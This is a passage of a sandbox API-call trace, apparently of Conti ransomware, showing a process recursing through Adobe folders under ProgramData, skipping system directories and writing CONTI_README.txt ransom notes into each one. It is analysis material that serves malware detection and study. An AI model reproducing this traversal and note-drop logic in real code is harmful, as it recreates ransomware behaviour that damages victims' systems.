	[0098.103] FindNextFileW (in: hFindFile=0x17c8130, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.103] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.103] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.103] FindNextFileW (in: hFindFile=0x17c8130, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0098.103] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1
	[0098.103] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1
	[0098.103] lstrcmpiW (lpString1="Adobe", lpString2="tmp") returned -1
	[0098.103] lstrcmpiW (lpString1="Adobe", lpString2="winnt") returned -1
	[0098.103] lstrcmpiW (lpString1="Adobe", lpString2="Application Data") returned -1
	[0098.103] lstrcmpiW (lpString1="Adobe", lpString2="AppData") returned -1
	[0098.103] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1
	[0098.104] lstrcmpiW (lpString1="Adobe", lpString2="thumb") returned -1
	[0098.104] lstrcmpiW (lpString1="Adobe", lpString2="$Recycle.Bin") returned 1
	[0098.104] lstrcmpiW (lpString1="Adobe", lpString2="$RECYCLE.BIN") returned 1
	[0098.104] lstrcmpiW (lpString1="Adobe", lpString2="System Volume Information") returned -1
	[0098.104] lstrcmpiW (lpString1="Adobe", lpString2="Program Files") returned -1
	[0098.104] lstrcmpiW (lpString1="Adobe", lpString2="Program Files (x86)") returned -1
	[0098.104] lstrcmpiW (lpString1="Adobe", lpString2="Boot") returned -1
	[0098.104] lstrcmpiW (lpString1="Adobe", lpString2="Windows") returned -1
	[0098.104] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0098.104] lstrlenW (lpString="Adobe") returned 5
	[0098.104] GetProcessHeap () returned 0x1720000
	[0098.104] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2a) returned 0x1738be8
	[0098.104] lstrcpyW (in: lpString1=0x1738be8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.104] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0098.104] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0098.104] lstrlenW (lpString="C:\\ProgramData\\Adobe") returned 20
	[0098.104] GetProcessHeap () returned 0x1720000
	[0098.104] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2e) returned 0x1738c20
	[0098.104] lstrcpyW (in: lpString1=0x1738c20, lpString2="C:\\ProgramData\\Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0098.104] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Adobe\\*") returned="C:\\ProgramData\\Adobe\\*"
	[0098.104] lstrlenW (lpString="C:\\ProgramData\\Adobe") returned 20
	[0098.104] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.104] GetProcessHeap () returned 0x1720000
	[0098.104] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bf1d8
	[0098.104] lstrcpyW (in: lpString1=0x17bf1d8, lpString2="C:\\ProgramData\\Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0098.104] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\"
	[0098.104] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Adobe\\CONTI_README.txt") returned="C:\\ProgramData\\Adobe\\CONTI_README.txt"
	[0098.104] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\CONTI_README.txt" (normalized: "c:\\programdata\\adobe\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0098.105] GetProcessHeap () returned 0x1720000
	[0098.105] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf1d8 | out: hHeap=0x1720000) returned 1
	[0098.105] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.106] CloseHandle (hObject=0x394) returned 1
	[0098.106] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x17c7e70
	[0098.106] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.106] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1
	[0098.107] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.107] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.107] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="ARM", cAlternateFileName="")) returned 1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="tmp") returned -1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="winnt") returned -1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="Application Data") returned 1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="AppData") returned 1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="thumb") returned -1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="$Recycle.Bin") returned 1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="$RECYCLE.BIN") returned 1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="System Volume Information") returned -1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="Program Files") returned -1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="Program Files (x86)") returned -1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="Boot") returned -1
	[0098.107] lstrcmpiW (lpString1="ARM", lpString2="Windows") returned -1
	[0098.107] lstrlenW (lpString="C:\\ProgramData\\Adobe") returned 20
	[0098.107] lstrlenW (lpString="ARM") returned 3
	[0098.107] GetProcessHeap () returned 0x1720000
	[0098.107] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x32) returned 0x17c8570
	[0098.107] lstrcpyW (in: lpString1=0x17c8570, lpString2="C:\\ProgramData\\Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0098.107] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\"
	[0098.107] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\", lpString2="ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0098.107] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM") returned 24
	[0098.107] GetProcessHeap () returned 0x1720000
	[0098.108] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x17c85b0
	[0098.108] lstrcpyW (in: lpString1=0x17c85b0, lpString2="C:\\ProgramData\\Adobe\\ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0098.108] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\*") returned="C:\\ProgramData\\Adobe\\ARM\\*"
	[0098.108] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM") returned 24
	[0098.108] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.108] GetProcessHeap () returned 0x1720000
	[0098.108] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x54) returned 0x17c1448
	[0098.108] lstrcpyW (in: lpString1=0x17c1448, lpString2="C:\\ProgramData\\Adobe\\ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0098.108] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\"
	[0098.108] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\CONTI_README.txt") returned="C:\\ProgramData\\Adobe\\ARM\\CONTI_README.txt"
	[0098.108] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\CONTI_README.txt" (normalized: "c:\\programdata\\adobe\\arm\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0098.185] GetProcessHeap () returned 0x1720000
	[0098.185] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1448 | out: hHeap=0x1720000) returned 1
	[0098.186] WriteFile (in: hFile=0x384, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0098.186] CloseHandle (hObject=0x384) returned 1
	[0098.187] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4e5c7dc2, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x17c8370
	[0098.187] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.187] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4e5c7dc2, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1
	[0098.187] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.187] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.187] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e5c7dc2, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e5c7dc2, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e5c7dc2, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.187] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.187] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.187] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.187] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.187] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1
	[0098.187] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2=".") returned 1
	[0098.187] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="..") returned 1
	[0098.187] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="tmp") returned -1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="winnt") returned -1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="Application Data") returned 1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="AppData") returned 1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="temp") returned -1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="thumb") returned -1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="$Recycle.Bin") returned 1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="$RECYCLE.BIN") returned 1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="System Volume Information") returned -1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="Program Files") returned 1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="Program Files (x86)") returned 1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="Boot") returned 1
	[0098.188] lstrcmpiW (lpString1="Reader_15.007.20033", lpString2="Windows") returned -1
	[0098.188] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM") returned 24
	[0098.188] lstrlenW (lpString="Reader_15.007.20033") returned 19
	[0098.188] GetProcessHeap () returned 0x1720000
	[0098.188] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0c60
	[0098.188] lstrcpyW (in: lpString1=0x17c0c60, lpString2="C:\\ProgramData\\Adobe\\ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0098.188] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\"
	[0098.188] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\", lpString2="Reader_15.007.20033" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033"
	[0098.188] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033") returned 44
	[0098.188] GetProcessHeap () returned 0x1720000
	[0098.188] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c0a58
	[0098.188] lstrcpyW (in: lpString1=0x17c0a58, lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033"
	[0098.188] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*"
	[0098.188] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033") returned 44
	[0098.188] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.188] GetProcessHeap () returned 0x1720000
	[0098.188] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7c) returned 0x176b8a8
	[0098.188] lstrcpyW (in: lpString1=0x176b8a8, lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033"
	[0098.188] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\"
	[0098.188] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\CONTI_README.txt") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\CONTI_README.txt"
	[0098.189] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\CONTI_README.txt" (normalized: "c:\\programdata\\adobe\\arm\\reader_15.007.20033\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.189] GetProcessHeap () returned 0x1720000
	[0098.189] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0098.189] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.190] CloseHandle (hObject=0x37c) returned 1
	[0098.190] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x3268450e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c84f0
	[0098.191] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.191] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x3268450e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.191] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.191] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.191] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e5ee1ac, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e5ee1ac, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.191] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.191] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.191] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.191] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.191] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e5ee1ac, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e5ee1ac, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e5ee1ac, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.191] GetProcessHeap () returned 0x1720000
	[0098.191] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0a58 | out: hHeap=0x1720000) returned 1
	[0098.191] FindClose (in: hFindFile=0x17c84f0 | out: hFindFile=0x17c84f0) returned 1
	[0098.191] GetProcessHeap () returned 0x1720000
	[0098.191] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0c60 | out: hHeap=0x1720000) returned 1
	[0098.191] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2=".") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="..") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="tmp") returned -1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="winnt") returned -1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="Application Data") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="AppData") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="temp") returned -1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="thumb") returned -1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="$Recycle.Bin") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="$RECYCLE.BIN") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="System Volume Information") returned -1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="Program Files") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="Program Files (x86)") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="Boot") returned 1
	[0098.191] lstrcmpiW (lpString1="Reader_15.023.20070", lpString2="Windows") returned -1
	[0098.192] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM") returned 24
	[0098.192] lstrlenW (lpString="Reader_15.023.20070") returned 19
	[0098.192] GetProcessHeap () returned 0x1720000
	[0098.192] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0bf8
	[0098.192] lstrcpyW (in: lpString1=0x17c0bf8, lpString2="C:\\ProgramData\\Adobe\\ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0098.192] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM", lpString2="\\" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\"
	[0098.192] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\", lpString2="Reader_15.023.20070" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070"
	[0098.192] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070") returned 44
	[0098.192] GetProcessHeap () returned 0x1720000
	[0098.192] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c0d30
	[0098.192] lstrcpyW (in: lpString1=0x17c0d30, lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070"
	[0098.192] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*"
	[0098.192] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070") returned 44
	[0098.192] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.192] GetProcessHeap () returned 0x1720000
	[0098.192] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7c) returned 0x176bb50
